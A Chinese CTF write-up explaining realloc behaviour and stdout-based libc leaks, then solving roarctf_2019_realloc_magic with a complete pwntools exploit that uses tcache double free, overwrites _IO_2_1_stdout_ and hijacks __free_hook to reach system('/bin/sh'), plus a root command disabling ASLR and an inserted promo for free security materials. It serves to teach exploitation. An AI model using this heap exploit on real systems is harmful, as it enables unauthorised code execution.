• realloc函数应用&IO泄露体验


    本题主要介绍realloc函数,平时我们使用realloc最多便是在打malloc_hook–>onegadget的时候,使用realloc_hook调整onegadget的栈帧,从而getshell。

    在realloc函数中,也能像malloc一样创建堆,并且比malloc麻烦一些,但是倒是挺有趣的

    realloc

    realloc(realloc_ptr, size)有两个参数,并且在特定参数有特定效果

    1. size == 0 ,这个时候等同于free。也就是free(realloc_ptr),并且返回空指针。即没有uaf
    2. realloc_ptr == 0 && size > 0 , 这个时候等同于malloc,即malloc(size)
    3. malloc_usable_size(realloc_ptr) >= size, 这个时候等同于edit
    4. malloc_usable_size(realloc_ptr) < szie, 这个时候才是malloc一块更大的内存,将原来的内容复制过去,再将原来的chunk给free掉

    stdout泄露

    这里我只给出结论,具体可以参考

    1. 设置_flags & _IO_NO_WRITES = 0

    2. 设置_flags & _IO_CURRENTLY_PUTTING = 1

    3. 设置_flags & _IO_IS_APPENDING = 1

      _flags = 0xFBAD1800
      
      • 1
    4. 设置_IO_write_base指向想要泄露的位置,_IO_write_ptr指向泄露结束的地址(不需要一定设置指向结尾,程序中自带地址足够泄露libc)

    具备以上基础我们可以来实战一题了

    roarctf_2019_realloc_magic

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    
    • 1
    • 2
    • 3
    • 4
    • 5

    64位,保护全开

    前情提要:

    本题部署在2.27-3ubuntu1_amd64/libc-2.27.so

    建议关闭linux地址空间随机化(ASLR),方便调试。

    在root用户下执行

    echo 0 > /proc/sys/kernel/randomize_va_space
    
    • 1

    realloc

    int re()
    {
      unsigned int size; // [rsp+Ch] [rbp-4h]
    
      puts("Size?");
      size = get_int();
      realloc_ptr = realloc(realloc_ptr, size);
      puts("Content?");
      read(0, realloc_ptr, size);
      return puts("Done");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11

    free

    int fr()
    {
      free(realloc_ptr);
      return puts("Done");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5

    存在uaf,可以利用起来

    这里有个清零指针的函数

    int ba()
    {
      if ( lock )
        exit(-1);
      lock = 1;
      realloc_ptr = 0LL;
      return puts("Done");
    }
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8

    程序特别简单,但是利用比较精妙,

    在realloc的时候,因为每次都是使用realloc_ptr,并且没有变化,导致每次申请的chunk都会写在在realloc_ptr指向的地址,再次申请比上一次的size大就可以往后溢出写

    帮助网安学习,全套资料S信免费领取:
    ① 网安学习成长路径思维导图
    ② 60+网安经典常用工具包
    ③ 100+SRC分析报告
    ④ 150+网安攻防实战技术电子书
    ⑤ 最权威CISSP 认证考试指南+题库
    ⑥ 超1800页CTF实战技巧手册
    ⑦ 最新网安大厂面试题合集(含答案)
    ⑧ APP客户端安全检测指南(安卓+IOS)

    思路

    通过realloc,和uaf,构造好tcache的布局

    然后把_IO_2_1_stdout 链到bin里面,通过stdout泄露libc,得到free_hook

    最后正常打free_hook:free_hook-->system-->/bin/sh

    首先利用malloc(size)和free(size)在tcache上面先准备好

    malloc(size)可以由realloc(realloc_ptr,size)得到(本文上面的第二个效果)

    free(size)可以由realloc(realloc_ptr,size=0)得到(本文上面的第一个效果)

    realloc(0x20,b'b')	#这个是为了后面溢出修改main_arena为_IO_2_1_stdout_准备
    realloc(0,"")
    realloc(0x90,b'b')
    realloc(0,"")
    realloc(0x10,b'b')
    realloc(0,"")
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6

    image-20230912125521459

    realloc(0x90,b'b')
    for i in range(7):
        dele()
    realloc(0,"")
    
    • 1
    • 2
    • 3
    • 4

    这一步非常重要,首先将0x90的地址申请回来,赋值给realloc_ptr,在通过uaf,tcache double free free掉7次,填满tcache bin,然后再free一次,使0x90进入到unsortedbin,把main_arena链进来

    为什么第八次free需要使用realloc去free呢?

    因为首先是因为用来链上unsortedbin,其次用来清空掉realloc_ptr指针,不影响后面的chunk使用

    image-20230912162307540

    看一下此时的堆空间

    image-20230912162721962

    realloc(0x20,b"aaa")
    pl=p64(0)*5+p64(0x81)+b"\x60\xc7"
    #realloc(0x50,b'aaa')
    #这里的注释是用来方便看你申请的堆放哪里去了,可以自己看一下
    realloc(0x50,pl)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这里看上面图片的堆布局,如果你用了注释看了一下gdb,就知道为什么这样摆了,

    后面申请的0x50是因为能刚好申请到更改unsortedbin的范围,大一点也没关系

    首先改chunkB,也就是我们放入unsortedbin的chunk,改掉size值,可以结合realloc(0),多一次malloc

    后面的"\x60\xc7"看图就知道了

    image-20230912170239859

    _IO_2_1_stdout_main_arena相差了4位,并且低三位是固定的,只需要爆破一位

    (因为我关闭了ASLR,所以直接\x60\xc7打本地不用爆破一次通(x))

    直接看成果图

    image-20230912162925182

    image-20230912162934528

    可以发现成功链上了_IO_2_1_stdout_,接下来我们只需要把他申请回来就行

    realloc(0,"")
    realloc(0x90,b'aa')
    realloc(0,"")
    pl=p64(0xfbad1887)+p64(0)*3+b'\x58'
    realloc(0x90,pl)
    
    • 1
    • 2
    • 3
    • 4
    • 5

    这里就涉及到_IO_2_1_stdout_泄露libc了,(下图都还没改的

    0xfbad1887照着原来的就行低两位,高地址就是取我们设定好的0xFBAD1800

    image-20230912170911195

    image-20230912183447804

    这里前面的_IO_read_xx用p64(0)填充掉,然后利用_IO_write_base设置指向想要泄露位置,比如说改成\x58

    也就是

    image-20230912184335327

    _IO_file_jumps泄露出来,就可以计算libc,别的位置都可以,只需要是能算libc的即可

    然后算出free_hook,system的libc地址,

    接下来首先先用给的清理realloc_ptr的函数,将realloc_ptr置0

    sla(menu,'666')
    
    realloc(0x30,b'a')
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0x10,b'b')#2 
    realloc(0,"")
    realloc(0xa0,b'b')
    for i in range(7):
    	dele()
    realloc(0,"")
    realloc(0x30,b'a')
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    pl=p64(0)*7+p64(0x71)+p64(free-8)
    realloc(0x70,pl)
    realloc(0,"")
    realloc(0xa0,b'a')
    realloc(0,"")
    realloc(0xa0,b'/bin/sh\x00'+p64(sys))
    dele()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7

    free-8是为了放好/bin/sh,然后顺便下一个将free_hook改成system

    完整exp:

    from pwn import*
    
    def debug(cmd = 0):
            if cmd == 0:
                gdb.attach(r)
            else:
                gdb.attach(r,cmd)
            pause()
    
    menu=b">>"
    def realloc(size,con):
        r.sendlineafter(menu, b'1')
        r.sendlineafter(b'ize',str(size))
        r.sendafter(b'ent',con)
    def dele():
        r.sendlineafter(menu,b'2')
        
    libc=ELF("libc-2.27.so")
    
    context(os='linux', arch='amd64',log_level='debug')
    
    
    def pwn():
        realloc(0x20,b'b')
        realloc(0,"")
        realloc(0x90,b'b')
        realloc(0,"")
        realloc(0x10,b'b')
        realloc(0,"")
    
        realloc(0x90,b'b')
        for i in range(7):
            dele()
        realloc(0,"")
        realloc(0x20,b"aaa")
        payload=p64(0)*5+p64(0x81)+b"\x60\xc7"
        #realloc(0x50,b'aaa')
        realloc(0x50,payload)
        
        realloc(0,"")
        realloc(0x90,b'aa')
        realloc(0,"")
        payload=p64(0xfbad1886)+p64(0)*3+b'\x58'
        realloc(0x90,payload)
        #debug()
        leak=u64(r.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))-libc.sym['_IO_file_jumps']
        print(hex(leak))
        free=leak+libc.sym['__free_hook']
        system=leak+libc.sym['system']
    
        r.sendlineafter(menu,'666')
    
        realloc(0x30,b'a')
        realloc(0,"")
        realloc(0xa0,b'a')
        realloc(0,"")
        realloc(0x10,b'b')#2
        realloc(0,"")
        realloc(0xa0,b'b')
        for i in range(7):
            dele()
        realloc(0,"")
        realloc(0x30,b'a')
    
        payload=p64(0)*7+p64(0x71)+p64(free-8)
        realloc(0x70,payload)
        realloc(0,"")
        realloc(0xa0,b'a')
        realloc(0,"")
        realloc(0xa0,b'/bin/sh\x00'+p64(system))
        dele()
        r.interactive()
    
    for i in range(1):
        try:
            r=process("./pwn")
            pwn()
            break
        except:
            r.close()
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17
    • 18
    • 19
    • 20
    • 21
    • 22
    • 23
    • 24
    • 25
    • 26
    • 27
    • 28
    • 29
    • 30
    • 31
    • 32
    • 33
    • 34
    • 35
    • 36
    • 37
    • 38
    • 39
    • 40
    • 41
    • 42
    • 43
    • 44
    • 45
    • 46
    • 47
    • 48
    • 49
    • 50
    • 51
    • 52
    • 53
    • 54
    • 55
    • 56
    • 57
    • 58
    • 59
    • 60
    • 61
    • 62
    • 63
    • 64
    • 65
    • 66
    • 67
    • 68
    • 69
    • 70
    • 71
    • 72
    • 73
    • 74
    • 75
    • 76
    • 77
    • 78
    • 79
    • 80
  • 相关阅读:
    搜索二叉树详解
    AAC音频格式ADTS头详解
    Python JSON
    学会这一方法,轻松实现Excel批量转PDF,快来码住
    MYSQL -- Binlog数据还原
    【Day21】每日一题——洗牌
    组件传参及Vuex基础
    CSS3 做一个旋转的立体3D正方形 动效核心【前端就业课 第二阶段】CSS 零基础到实战(07)
    【计算机网络——应用层】http协议
    OpenglEs之三角形绘制
  • 原文地址:https://blog.csdn.net/qq_38154820/article/details/133353959